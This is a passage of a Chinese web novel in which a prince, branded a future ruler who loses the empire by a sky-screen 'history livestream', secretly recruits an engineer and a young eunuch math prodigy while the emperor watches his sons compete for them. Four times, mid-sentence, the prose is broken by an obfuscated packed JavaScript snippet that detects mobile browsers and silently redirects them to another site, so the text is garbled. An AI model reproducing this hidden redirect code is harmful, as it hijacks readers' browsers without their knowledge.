王德安悄无声息地进来,将一叠奏疏放在御案一角,最上面两份,封皮字迹清隽,正是来自静思阁。 皇帝的目光扫过,并未立刻取阅,而是先处理了几件紧急军报。直到殿内只剩下心腹内侍,他才缓缓伸手,拿起了那两份奏疏。 先看的是关于北境边防的条陈。 目光快速掠过,速度却渐渐慢了下来。条理清晰,考虑周到,甚至指出了兵部过往文书中的一个模糊处。 关于皮甲浸油防冻的周期,“季一浸”与“九十日一浸”在实际执行中的差异可能导致部分边军甲胄提前脆化。 虽不是什么惊世骇俗的见解,但这份扎实、细致,远超一个十六岁、从未接触过实务的皇子的水平。甚至比太子年初关于漕运的奏对,都显得更务实。 皇帝眼中闪过一丝极淡的讶异,随即被更深沉的审视取代。 他放下了这份,拿起了另一份。 只看了开头几行,他的眉头就蹙了起来。 这个文体…… 然而,当他耐着性子,顺着那些直白的语句、简陋却意图明确的图表看下去时,那紧蹙的眉头渐渐松开了,取而代之的是一种难以言喻的凝重。 尤其是看到那个“烽火锣示警”的提议时,他的指尖在纸面上停顿了片刻。 “荒谬。”他低声吐出两个字,语气却并非全然的否定,更像是一种下意识的评判。 但目光却再次回到了那些数据引用上。 “户部存档” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904294|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、“工部旬报”…… 这小子,从哪里知道的这些?静思阁里,有人给他传递消息?还是……他早就在默默关注这些? 更让他在意的是其中透露出的某种“思维”。那不是经史子集教化出的思维方式,更像是一种……拆解、计算、推演的路径。 如同工匠审视一件器物的结构,而非文人赋诵山河。 这让他不由自主地,又想起了天幕上那些闪过的画面。燃烧的宫殿,破碎的版图……以及那惊鸿一瞥的、结构精妙绝伦的巨塔图纸。 “劳民伤财……天文观象台……” “超前时代……” 两种截然不同的评价,指向同一个人,同一件事。 帝王的心,如同深潭。 但此刻,潭水被投入了两块石头,一块写着“亡国灾星”,一块写着“务实奇思”。波纹相互碰撞、抵消、衍生出更复杂的涡流。 良久,景和帝将那份《防洪刍议》轻轻放在了《边防条陈》之上。 “王德安。” “老奴在。” “将这份,”皇帝点了点《防洪刍议》,“密封,誊抄一份。原件存档,抄件……密送工部都水清吏司主事沈墨。告诉他,不必问来历,十日内,给朕一个评议,只看其中所述之法,于理是否可行,于工是否可作。” 沈墨,一个在工部坐了十几年冷板凳的技术官,脾气臭硬,只认河道数据,不认上官脸色。用他来评判这份“奇谈”,最合适不过。 “是。”王德安躬身,心中却是微震。陛下没有将此文掷还,没有斥为妄言,反而密送专业官吏评议……这本身,已是一种态度。 “至于九皇子,”皇帝的声音恢复了惯常的淡漠,“静思阁一切照旧。他若再要纸笔,给他。朕倒要看看,他还能写出些什么。” “遵旨。” 王德安捧着奏疏退出暖阁时,皇帝已重新拿起了军报,仿佛刚才的插曲从未发生。 只有他自己知道,心中那架评判儿子的天平,有一端的筹码,极其轻微地,动了一下。 *** 静思阁内,殷澈收到了新的、质量稍好的纸张和墨锭。 没有嘉奖,没有斥责,没有任何关于他奏疏下落的只言片语。 但他看着那些显然是特意准备而非敷衍的文具,看着送东西来的小太监那比往日恭敬了几分的姿态,缓缓地、极轻地,呼出了一口气。 石头,似乎激起了些许涟漪。 虽然前路依旧茫茫,虽然“亡国之君”的烙印依然深重。 但第一步,他好像,没有走错。 窗外的老槐树,又在秋风中落了几片叶子。 他知道,仅仅有用是不够的。他需要变得不可或缺。 下一次的天幕,又会何时来呢? 殷澈期待着。 5. 第三次的天幕 王德安送来的新纸笔,在静思阁那张旧木桌上放了三天。 殷澈用得很省。 他每日只在固定的时辰研墨铺纸,写下的东西,却不是寻常皇子该做的文章。 第一张纸,他画了一幅极简的京城水系草图,标注了几处已知的水门和暗渠。 第二张纸上,他列了一串算式,推演不同流速下,水对堤岸的冲力。字迹工整,条理分明,透着一股与这囚室格格不入的冷静。 看守的侍卫依旧板着脸,送饭的小太监依旧低着头。但殷澈能感觉到,那目光里细微的变化。 不再全然是看一个将死灾星的避讳,偶尔会掠过一丝极淡的疑惑。 这个安静得不像话的九殿下,到底在写些什么? 他没等太久。 第四日黄昏,天色将暗未暗,那熟悉的光晕再次毫无征兆地出现在天际。 这一次,光幕展开的速度似乎更快,范围也更广,几乎笼罩了半个皇城上空。整个京城,从宫苑到坊市,无数人放下手中的活计,惊慌又敬畏地抬起头。 静思阁的小院里,殷澈放下笔,走到窗前,仰头望去。 光幕上,那个活泼的女声准时响起,带着比上次更明显的兴味。 【哈喽!亲爱的历史爱好者们,欢迎回到“阿月说历史”直播间!上期我们预告了要扒一扒哀帝身边那群神奇的队友,别急别急,正餐之前,我们先来个开胃小菜,插播单元《哀帝骚操作集锦2:那些被误解的“奇技淫巧”与它们的主人》!】 画面闪动,出现了一间堆满各种古怪木器、金属零件的简陋工棚。 一个穿着洗得发白的青色官服、袖子挽到手肘、脸上还沾着墨渍的年轻人,正对着一架复杂的水车模型皱眉苦思。他手中拿着炭笔,在旁边的木板上飞快地计算着什么,全然没注意自己官袍下摆已经蹭上了污渍。 【第一位,沈墨,原工部都水清吏司主事,时年二十八岁。】 旁白声音带着笑意。 【一位沉迷于河道模型与机关术,以至于经常忘记去点卯,被上官斥为“不务正业”的技术狂人。在景元年间,他因屡次“妄议”大型河工方案,被贬至金陵闲职,但在哀帝殷澈上位后,他被迅速提拔,主持了多项水利工程,后世评价:其设计建造的“江淮分水闸”与“清江浦船闸”,奠定了大胤此后百余年的漕运基础。技术超前,理念务实,是位被时代埋没的实干型天才。】 画面切换,一张清晰的、标注着尺寸和原理注解的“改良版筒车”设计图被放大。 【看,这就是沈墨当时正在琢磨的东西。】女声调侃道, 【可惜啊,工部的大人们觉得这是匠人之术,难登大雅之堂,他的报告递上去,多半是被压在文书最底下吃灰。】 殷澈的目光紧紧锁在光幕上,尤其是那张设计图的细节和旁边的注解上。 他的心跳微微加速。就是这个方向。实用,精妙,基于现实条件改进,而非空想。 光幕中,沈墨似乎遇到了难题,烦躁地抓了抓头发,将一块算筹拨到地上。 而就在此时,画面里走进一个穿着亲王常服的年轻人,眉眼依稀就是更成熟些的殷澈。 未来的“哀帝”蹲下身,捡起那枚算筹,看了一眼木板上的算式,随口道:“此处水流冲击力据估算,是否未计及转轴摩擦?若以桐油混合细沙润滑,损耗约可减两成。” 沈墨猛地抬头,脸上的烦躁瞬间被惊愕取代,随即眼中爆发出灼热的光,一把抓住“哀帝”的袖子:“殿下懂这个?!” 【是的,这就是历史有趣的交汇点。】旁白感慨, 【一个不被理解的皇子,一个不被重视的技术官。在某些关键节点上,超前半步是天才,超前一步可能就是疯子。而他们相遇,至少在当时,互相证明了彼此不是孤独的疯子。】 画面淡去。 光幕上的镜头一转,这次对准的是一处嘈杂的马厩。 穿着低级太监服饰、身材瘦小的少年,正蹲在角落里,用树枝在地上写写画画。他画的东西旁人完全看不懂,像是某种鬼画符,但他的眼神专注得吓人,嘴里还念念有词,似乎在心算着什么。旁边路过的太监嗤笑一声:“小算盘,又做梦呢?赶紧把马粪清了!” 被叫做“小算盘”的少年瑟缩了一下,赶紧用脚抹掉地上的痕迹,低头去拿铲子。 【第二位,李九章,御马监最低等的小火者,无名无姓,因善算,被同伴戏称“小算盘”,时年十五岁。】 女声介绍道,【一位无师自通,对数字有着惊人直觉和敏感度的数学天才。在哀帝时期,他被发现并重用,参与制定了新朝的税收算法、粮仓储备模型,甚至初步的统计审计方法。后世经济史学者认为,他的工作,为当时极度混乱的帝国财政,注入了一丝难得的理性计算之光。虽然这光芒,最终未能挽回倾覆的大厦。】 光幕贴出了一页泛黄的、字迹歪扭但逻辑极其严密的账目分析,里面已经出现了类似复式记账的雏形和简单的比例分析。 【看这页东西,如果当时户部的老爷们能看到并理解,或许……】 女声顿了顿,【唉,历史没有如果。】 殷澈深吸一口气。 会计,统计,数据建模……这是比水利更直接触动帝国命脉的东西。 这个人,必须找到。 光幕继续播放,又快速掠过了两个身影: 一个是在将作监角落敲敲打打、改良织机梭子的老匠人;一个是混迹于京城乞丐中、却对三教九流消息了如指掌的独眼头领。 介绍相对简略,但指向明确。 【好了,开胃小菜到此结束!】女声提高音调, 【接下来,是本期正题——《哀帝的“亡国天团”是如何组建的?》我们将深入挖掘,这位备受争议的皇帝,是用什么方法,将这些散落各处的“怪才”聚拢到自己身边的?是王霸之气?是利益收买?还是……别的什么?广告之后,马上回来!】 光幕骤然暗下,转为一片模糊的流光,似乎真的进入了“广告”时段。 皇宫内外,一片哗然。 文华殿暖阁内,皇帝殷稷面前的茶杯已经凉透。他盯着黯淡下去的光幕,手指无意识地在御案上敲击。 沈墨?这个人,他很有印象。 几天前,九皇子那封关于防洪的“奇谈”,正是密送到了此人手中评议。 工部回报说,沈墨收到匿名文稿后,闭门三日,然后递上了一份长达二十页的评议,不仅逐条分析了文稿中建议的可行性,还补充了数条实施细则,最后一句结论是:“撰文者虽不知名,然其思虑之缜密,推演之大胆,尤重实效,非寻常腐儒可比。若得用之,实为工事之幸。” 当时,他只觉得是技术官吏的惺惺相惜。如今看来…… “亡国天团?”皇帝咀嚼着这个词,“朕倒要看看,是些什么人物。” 而此刻,最受震动的,莫过于光幕中点名的几人。 工部衙署后一间偏僻的值房内,沈墨猛地推开门,冲到院子里,死死盯着已经恢复深蓝的夜空,胸膛剧烈起伏。他的手在微微颤抖。 光幕中的画面,那些他无人可诉的构想,那个未来会蹲下来与他讨论技术细节的“哀帝”……还有那句“不被理解的疯子”…… 一股滚烫的热流冲上他的眼眶,又被死死压住。 他忽然想起三天前收到的那封匿名防洪文稿。那简洁有力的行文,那注重数据与实效的风格……难道…… 御马监臭气熏天的马厩旁,瘦小的李九章蜷缩在草料堆后,脏兮兮的脸上毫无血色,只有一双眼睛亮得惊人。 他死死攥着拳,指甲掐进了掌心。“小算盘……数学天才……统计审计……”这些词在他脑海中轰鸣。原来,他在地上画的那些别人眼中的鬼画符,真的有意义?真的有人……会需要? 前所未有的渴望,和深切的恐惧,同时攥住了这个十五岁少年的心。 *** 静思阁。 光幕尚未完全散去,殷澈已转身回到桌前,铺开一张新纸。 他知道,天幕的“广告”不会太久,留给他的时间窗口极短。这既是危机,也是机遇。天幕点名,会将沈墨、李九章等人推到风口浪尖。皇帝和各方势力的目光都会投向他们。如果他不能尽快建立联系,这些人要么被严密控制起来,要么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904295|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能因为“灾星关联”而遭遇不测。 他必须立刻行动,用最直接、最能打动对方的方式。 给沈墨的信,他写得很简短,没有任何寒暄和自称: “沈主事台鉴:天幕之言,不足为凭,然才学之士,不应埋没。日前《防洪刍议》中,‘竹笼沉石’之法,于急流处恐有散架之虞。吾思得一法:以铁条为骨,外编竹笼,再填卵石,或可增其稳固。又,水门闸板启闭枢机,若于转轴处加设大小齿轮两组,以畜力或人力驱动小齿轮,或可省力过半。此二想,仓促未及详算,仅述其意,供君参详。” 没有招揽,没有许诺,只谈技术问题。但他相信,对一个真正痴迷此道的人来说,一个能提出具体、专业改进思路的知音,比任何空洞的许诺都有吸引力。 给李九章的信,则换了方式。 他无法确定一个御马监小太监能否收到信,即便收到,能否看懂复杂的表述。他只在纸上画了一个简单的图形:一个正方形,内部分割成九个小格,然后在其中几个格子里,标上了不同的数字。 下方写了一行小字:“若知各数之和均相等,缺空处当填几何?静思阁殷澈,求教于善算者。” 这是一个最简单的九宫格数字谜题。对于数学天赋者,这如同一句暗号,一个邀请。同时,“静思阁殷澈”五个字,是坦率,也是一种姿态。 我就在这里,处境皆知,仍愿求教。 他将两封信分别封好,在信封上写下“沈墨主事亲启”和“李九章公公启”。 做完这些,他唤来了小德子。 小德子看着那两封没有通过任何官方渠道、甚至显得突兀的信,脸色发白:“殿、殿下,这……奴才怎么送出去啊?王公公只让送奏折,这私信……被查到,奴才的脑袋……” 殷澈看着他,声音平静:“小德子,你跟了我这些时日,觉得我是天幕说的那种,会败光祖宗基业的昏聩之人吗?” 小德子猛地跪下:“奴才不敢!殿下……殿下是好人!” “好人未必有用。”殷澈摇摇头,从怀中取出两样东西。 那是他前几日用院子里老槐树的硬枝,勉强雕刻打磨出的两个小物件。一个是最简易的滑轮模型,一个是可活动的卡榫结构。虽然粗糙,但原理清晰。 “这两样东西,或许不值钱。” 殷澈将模型和信一起递过去,“但你可以告诉能接触到沈主事或御马监的人,这是‘静思阁的玩意儿’。愿意帮忙递信的,这个就当酬谢。不愿意,也不强求。” 他顿了顿,看着小德子惊恐又困惑的眼睛:“你只需传话,不必亲自递送。成与不成,皆是天意,不怪你。” 小德子捧着那轻飘飘又重逾千斤的信和木模型,嘴唇哆嗦了几下,最终重重磕了个头:“奴才……奴才试试!” 他转身,像受惊的兔子一样溜出了院子。 殷澈重新坐回窗边。天色已彻底黑透,星辰渐显。他知道这步棋极其冒险,信件很可能根本送不出去,或者中途被截获,成为他“勾结外臣、图谋不轨”的新罪证。 但他必须下这一步。 天幕给了他名单,也给了这些人被关注的契机。他必须抢在所有人的前面,伸出第一根橄榄枝。这橄榄枝不能是权力,不能是金钱,只能是他们最在意的东西。 认可,与同道中人的共鸣。 他在赌,赌这些在各自领域孤独前行的人,对“理解”的渴望,能压倒对“灾星”的恐惧。 时间一点点流逝。 静思阁外传来打更的声音,一更,二更…… 小德子没有回来复命。 殷澈吹熄了蜡烛,躺在硬板床上,睁着眼。 直到后半夜,院墙外极轻极轻地,传来三声几乎微不可闻的猫叫。 殷澈紧绷的心弦,骤然一松。 那是他和小德子约定的暗号——事已办妥,信已寻机送出。 成了。 至少,第一步成了。 他闭上眼,脑海中浮现出光幕上沈墨那专注计算的神情,和李九章蹲在地上画符的瘦小背影。 “等着。”他在心里默默说道,“不会太久了。” 6. 招揽的才子 光幕散去后的京城,表面上恢复了平静,暗地里却涌动着比以往更甚的暗流。 天幕里点出的人才,如同棋子上落下了几颗刺眼的棋子,瞬间牵动了所有对弈者的目光。 东宫,文华厅侧厅。 太子殷瑁挥退了奏乐的伶人,脸色在跳动的烛火中显得有些阴郁。 几位核心幕僚屏息凝神,坐在下首。 “都听到了。” 太子声音不高,却带着惯有的威严。 “沈墨,李九章……还有那几个。” “殿下。”一位蓄着山羊胡的幕僚拱手道, “天幕妖异,其言虽不足全信,但宁可信其有,不可信其无。 这几人既然能被未来的九殿下所用,想必有些歪才。如今九皇子已被圈禁。正是殿下施恩收纳,为己所用的大好时机。即使才不堪用,纳入麾下监视,也好过流落在外,日后被他人利用。” 太子指甲敲击着紫檀桌面。 “沈墨是工部的人,好办。递个话,许他个员外郎的实缺,让他知道是谁在抬举他。至于那个小太监…… 御马监的腌臜地方,让刘公公公关照一下,把人提出来,放在东宫做些扫洒,也算给了他一点活路。” 他顿了顿,眼中闪过一丝冷光:“记住了,是请。父皇还在看着,吃相不能太难看。” 二皇子府,书房。 相较于太子的“王道”收揽,二皇子殷琮的方式更为直接。 他麾下多是将门和实务官员,行事也带着军伍般的利落。 “沈墨此人有实才,工部那帮老朽压着他,无非是嫌他不通人情,不懂逢迎。” 二皇子对心腹将领道, “这种人,给钱给官未必动心,但他肯定想做事。去找他,告诉他,本王在潼关督建的水利防卫,正缺他这样的精通实务之人。去了就是主管,要人给人,要料给料,让他尽情施展。只要把事办好,本王给他前程。” “那太监呢?” “一个算账的阉人?”二皇子皱了下眉,“让账房那边留意一下。若真有本事,暗中给些活儿试试。但不必大张旗鼓,不值得。” 五皇子殷璜则走清流文臣的路子,对此嗤之以鼻。 “奇技淫巧,匠人之术。纵有小慧也难登大雅之堂。况与那灾星牵扯过深,避之唯恐不及,岂有往上凑的道理?” 他反而叮嘱门下御史,要“留意此辈借天幕妖言惑众,攀附皇子之举。” 工部衙署,沈墨值房。 油灯如豆,沈墨的面前摊着三份东西。 一份是今日午后,东宫属官路过之时,看似随意塞来的信封,上书, “殿下关注河工,沈主事若真有才,何愁没有施展之地?员外郎之位,虚席以待。” 一份是傍晚时,二皇子府一位参军亲自送来的聘书和潼关水利防卫的粗略草图,条件开的极为诱人。 第三份,则是他袖中那份字迹清隽、内容却让他心潮澎湃的匿名信。 关于竹笼铁骨、齿轮省力的构想。 以及随信附上的那个简陋却原理精妙的木质小滑轮。 他知道这封信来自哪里。 静思阁,那位被天幕定为“亡国之君”的九皇子。 前两份,许诺的是前程、是地位、是施展抱负的机会。 后一份,什么也没有许诺,只抛来了两个具体的技术问题,以及一份巧思。 沈墨的手指抚过信纸上那关于齿轮比例的简短推算。 他的目光再次落到东宫的暗示和二皇子的聘书上。 从五品员外郎? 确实是他这个做了多年冷板凳的主事难以企及的升迁。 潼关主管? 更是能一展所学的实权位置。 可他脑海中浮现的,却是光幕中那个未来会蹲下来,捡起算筹,与他谈论转轴摩擦损耗的亲王身影。 是那封匿名防洪文稿里精准的数据引用与务实的土法建议。 是手里这封信里,一针见血指出他设计隐患并提供创新思路的寥寥数语。 那是一种技术上的知音,思维层次上的共鸣。 是益友,是良师。 对方懂得他想什么,甚至比他想的更远,更巧。 而现在的九皇子年仅十六啊...... 太子和二皇子看中的是“沈墨”这个名字可能代表的天幕认证的价值,是未来的水利尚书的这块招牌。 他们给他官位,给他项目。 本质都是利用。 而静思阁那位,现在的信本意是什么不说。 但天幕里,殷澈看中的是他脑子里那些不务正业的构想本身,是那些被同僚嗤笑的图纸和算式。 知音啊...... 沈墨闭上眼,深深吸了一口气。 油灯的火苗在他脸上投下摇曳的影子。 他提起笔,开始写回信。 不是给东宫,也不是给二皇子府。 笔锋落下,依旧是技术探讨的语气,却多了几分郑重。 “殿下钧鉴:铁骨竹笼之法甚妙,然铁条沾水易锈,于水中恐难持久。或可尝试以桐油反复浸泡之竹,为骨,轻韧且耐腐。齿轮省力之议,墨曾演算,若改为三级变速,辅以棘轮防倒转,或可更适配水门沉重闸板。 另,前日得阅《防洪刍议》,于‘烽火锣示警’之制有所补益,草图附后,敬请斧正。” 他没有提投效,没有诉衷肠。 他只回以技术讨论,这是一种心照不宣的技术回应。 写完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904296|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈墨小心吹开墨迹,将信和一张画满标记的草图一同封好。 该如何送回静思阁? 他想起了白天悄悄将那个小滑轮模型和一包上好桐油、砂纸塞给他的那个眼神闪烁的小太监。 御马监,马厩旁的草料房。 李九章蜷缩在干草堆里,手里紧紧攥着那张画了九宫格的纸。 上面的数字谜题,对他而言如同儿戏。 但“静思阁殷澈,求教于擅算者”这行字,却像是烙铁一样烫在他的心上。 白天,东宫来的太监居高临下的打量着他,眼神像是在看一件货物,说调他去东宫花园掌管花木册籍,也算脱离这污秽之地。 随后,掌印太监刘公公也派人来问话,话里话外提醒他认清本分,莫要攀附不改攀附的贵人,以免惹祸上身。 可是...... “求教于擅算者”。 从小到大,因为他对着账本能看出别人看不出的错漏,因为他喜欢在地上画那些没人懂的符号。 他得到的只有“怪物”“傻子”“不务正业”的嘲笑和鞭挞。 从未有人对他说过求教。 他把脸埋进干草,肩膀微微耸动。 然后他猛地坐起身,就着窗外透进的微弱月光,用捡来的碳笔,在九宫格纸的背面,飞快地写画起来。 他没有解那道简单的题,而是画了个更复杂的“纵横图”,并在一旁标注了推导过程和规律总结。 最后,在角落极小极小地写了一行字。 “此类图,似可验账目增减平衡?” 将纸折好,他遛出草料房,找到那个白天悄悄塞给他一小包饴糖、问他“有没有东西带给静思阁”的年轻太监。 把纸团塞给对方后,李九章像是受惊的兔子一样飞快地跑回了黑暗里。 静思阁。 殷澈在黎明前得到了回音。 小德子将两个小小的、被汗水浸的有点潮湿的纸团,从窗户缝隙里塞了进来。 展开沈墨的信和草图,殷澈的嘴角微微勾起。 果然,真正的技术人才,最无法抗拒的就是更具挑战性和创新性的技术问题本身。 沈墨不仅接受了他的思路,还提出了更优化的改良方案,甚至主动完善了预警系统的细节。 再看李九章那张布满了碳迹的纸。 看着那张精巧的纵横图和那句怯生生却郑重要害的提问。 殷澈眼里的光芒更甚了。 他知道天幕里的自己为什么会如此欣赏这两个人了。 实干之才。 可遇不可求啊。 毛笔沾了沾桌边未干的墨水,殷澈拿出了一张新纸开始写回信。 风早已起。 属于他的,终究会是他的。 7. 皇帝的反应 静思阁的岁月,因着和沈墨、李九章的秘密笔友关系,变得不那么难熬了。 殷澈甚至觉得有点上瘾 他与沈默的通信,通过小德子辗转传递,保持着一种心照不宣的克制。 信中不谈朝局,不问处境。只专注于那些河工水利的技术细节。 他们的信越写越厚,以至于现在每次收到沈墨夹杂着详细草图的回信时。 殷澈都有种在大学实验室和师兄讨论课题的错觉。 而李九章那边进展慢点,但更有趣。 那孩子胆小的像是兔子,回信上的字迹发抖,但算题从不出错。 殷澈最近给他出的题越来越偏向实际,比如: “假设有粮食一千石,需运往三百里外,每车载二十石,每十里损耗半升,求需车辆及总损耗。” 李九章不光算出答案,还会在回信角落反问。 “若道路分平坦与崎岖,损耗率不同,又该如何算?” 殷澈每次看到他的问题都会笑出声,但这种悠闲的好日子很快就被打断了。 打断它的不是天幕,而是乾清宫里的一场小型御前会议。 乾清宫暖阁。 景和帝殷稷坐在御案后,手里把玩着一块温润的玉佩,脸上没什么表情。 下首坐着几位重臣。 首辅周延儒、户部尚书钱谦益、兵部尚书杨嗣昌,还有锦衣卫指挥使骆养性。 “说说吧。”皇帝开口,声音不高,“天幕点出的那几个人,现在都是什么情况?” 骆养性立刻起身:“回陛下,工部都水清吏司主事沈墨,这几日收到东宫和二皇子府两方招揽。 东宫许以员外郎之位,二皇子则想调他去潼关水利工地主管务实。” “他反应如何?” “沈墨......尚未明确回复任何一方。” 骆养性顿了顿, “但根据监视,他这几日频繁与静思阁那边有书信往来,讨论的都是河工技术问题。” 皇帝手指轻轻敲击桌面。 “书信内容?” “技术性太强,锦衣卫中无人能全懂。” 骆养性低头, “但可以确定,信中没有谈及朝政。” 皇帝不语。 周延儒轻咳一声:“陛下,沈墨此人,臣亦有所耳闻。确实精通河工,但性格孤僻,不善交际。 若真有实才,为国所用也是好事。” “好事?”皇帝抬眼,“那首辅觉得,是该让他去东宫,还是去老二那儿?” 这话问得直白,暖阁里气氛一凝。 周延儒谨慎答道:“此乃陛下圣裁。不过......臣以为,沈墨既是工部官员,仍在工部当差最为妥当。 若确有大财,可由工部酌情提拔使用,不必非入哪位皇子门下。” 这是老成持重之言,也是把皮球踢回给皇帝。 人才可以重用,但别让皇子们抢来抢去。 皇帝不置可否,转向下一个。 “那个御马监的小太监呢?” 骆养性继续汇报:“李九章,年十五,东宫想调他去管花园册籍,二皇子那边没有直接动作,但二皇子府上的账房先生私下接触过他,给了些账目让他先帮忙看看。” “结果如何?” “那孩子……算的又快又准,还指出了账房里几个积年老手都没看出的错漏。” 骆养性语气有些复杂, “二皇子府上的账房总管想收他当学徒,但李九章没敢答应。” 皇帝沉默了片刻。 暖阁里安静的能听到炭火噼啪声。 “所以。” 皇帝缓缓开口, “太子想给官,老二想给事做。倒是都想的挺美。” 钱谦益忍不住插话。 “陛下,天幕有异,所言未必可信。区区小太监,能有多大能耐?何必如此重视……” “钱尚书。”皇帝打断他,“天幕说他是数学天才,未来能帮着制定新税算法、粮仓模型。你户部现在最缺的是什么?” 钱谦益噎住了。 户部最缺的就是能算清账、理清钱粮流向的人。 每年征收、调拨、仓储,糊涂账一堆,他自己都头疼。 “朕不在乎他是不是‘天才’。” 皇帝语气冷淡, “朕只在乎,他是不是真的比你现在手下那群人算的明白。如果是,哪怕只有一半明白,也比养着那群废物强。” 这话说的毫不留情。 钱谦益老脸一红,不敢再言。 杨嗣昌此时开口:“陛下,臣倒觉得,此事不宜让皇子们插手过深。 人才招揽,当由朝廷出面,量才录用。皇子们争相招揽,有结党之嫌。” 这话说的直白,也点出了皇帝最在意的问题。 结党。 殷稷自己就是靠着经营势力、最终夺嫡上位的。 他太清楚皇子们“招揽人才”背后意味着什么。 那是在培植自己的班底,是在为将来的权利博弈做准备。 太子的急切,老二的务实,甚至老五的清高回避...... 在他眼里,都是一场戏。 “杨尚书说的对。” 皇帝终于放下了玉佩, “传朕口谕:沈墨仍在工部当值,升一级为员外郎,专司京城水系疏浚改良事宜。这事,让工部自己安排,不必经由任何皇子。” “至于李九章......”皇帝顿了顿, “调入内承运库,跟着管事太监学记账。告诉刘瑾,这孩子朕留意了,账算清楚有赏,算不清楚......让他自己看着办。” 骆养性立刻记下。 这安排巧妙。 沈墨升了官,但没进任何皇子门下,反而被塞回工部干具体活。 李九章调离了御马监这个容易被接触到的地方,进了皇宫内库。 那是皇帝自己的钱袋子,看守更严,外人更难插手。 即用了人,又断了皇子们伸过来的手。 “还有。”皇帝补充道,“静思阁那边......既然喜欢写写画画,就让他继续写。笔墨纸砚管够,朕倒要看看,他还能写出什么花样来。” 这话说得意味深长。 周延儒等老臣交换了个眼神。 陛下这态度......似乎对九皇子,并不完全像外界传的那般厌恶。 暖阁里安静了下来。 许久,皇帝挥了挥手:“都退下吧。天幕若是再临......该来的总是会来的。朕要看看,下次又会说什么。” 大臣们退去后,暖阁里只剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904297|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了皇帝一人。 他起身走到窗边,望着外面渐暗的天色。 儿子们在抢人。 在抢那些被天幕认证过的人才。 这种感觉很微妙。 一方面,他本能地警惕,反感。 毕竟这是皇权的禁区,绝不允许任何人提前布局。 但另一方面,他又不得不承认,天幕说出的那几个人,确实有点本事。 沈墨的河工图纸他看过,确实精巧,在天幕说出来之前他就对他有印象,只是性子太倔。 李九章的算题速度也让老太监试过,心算速度比户部的一些老账房快一倍。 而把这些怪才真正挖掘出来聚在一起的。 是此刻被他圈进在静思阁,被天幕说注定亡国的第九子。 荒唐。 但又有点......意思。 “殷澈。”皇帝低声念着这个名字。 那个从小透明,没什么存在感的第九子。 天幕说他会亡国。 可他写出来的东西,却都在解决实际问题。 防洪,后勤,这些切切实实改善民生的问题。 如果他真如天幕所说,未来会败光祖宗基业。 那为什么现在做的每件事情,都是在给这个帝国打补丁? 皇帝暂时还想不到答案。 但是他不着急。 棋子还都在棋盘上。 太子、老二、老五......还有静思阁的老九…… 他等着看。 看天幕下一次降临,会带来什么新变数。 也看看那个被预言亡国的儿子,能折腾出什么新花样。 窗外,暮色四合。 皇帝转身,回到御案前,拿起一份奏折。 刚刚那场小型会议好像从未出现过,但乾清宫外,消息已然传开。 皇子们悄无声息的手都被挡了回来。 而静思阁那位的待遇则是提高了一点。 这信号,足以让很多人失眠了。 静思阁内。 殷澈还不知道刚刚发生了什么事情。 他刚刚写完和沈墨的回信,目前正在研究怎么给李九章出一道更有趣的应用题。 小德子轻手轻脚地走进来,低声说:“殿下,王公公那边传话来了。” “怎么说?” “说陛下吩咐了,殿下既然喜欢写写算算,往后笔墨纸砚都会足量供应,让殿下安心静思。” 殷澈笔尖一顿。 安心静思? 这话听着是恩典,细品却意味深长。 “还有呢?”他问。 小德子摇了摇头:“没了,就这一句。” 殷澈放下笔,望向窗外。 父皇这是什么意思呢? 是鼓励他继续研究那些东西?还是在暗示他,你的一举一动,朕都看在眼里呢? 他不知道。 但他知道一点。 既然笔墨纸砚管够,既然皇帝想让他写。 那他就继续写。 写防洪,写算题,写一切他能想到的,能对这个时代有帮助的东西。 天幕下次什么时候来他不知道。 但他有种预感。 下一次,该会有新的变化了。 今晚会是一个不眠之夜。 8. 天空中的光幕再次亮起。 那一天是十一月初七,午时刚过。 天色阴沉,铅灰色的云层压得很低,空气里带着湿冷的寒意。 京城街头行人匆匆,都缩着脖子赶路,没人看天。 突然。 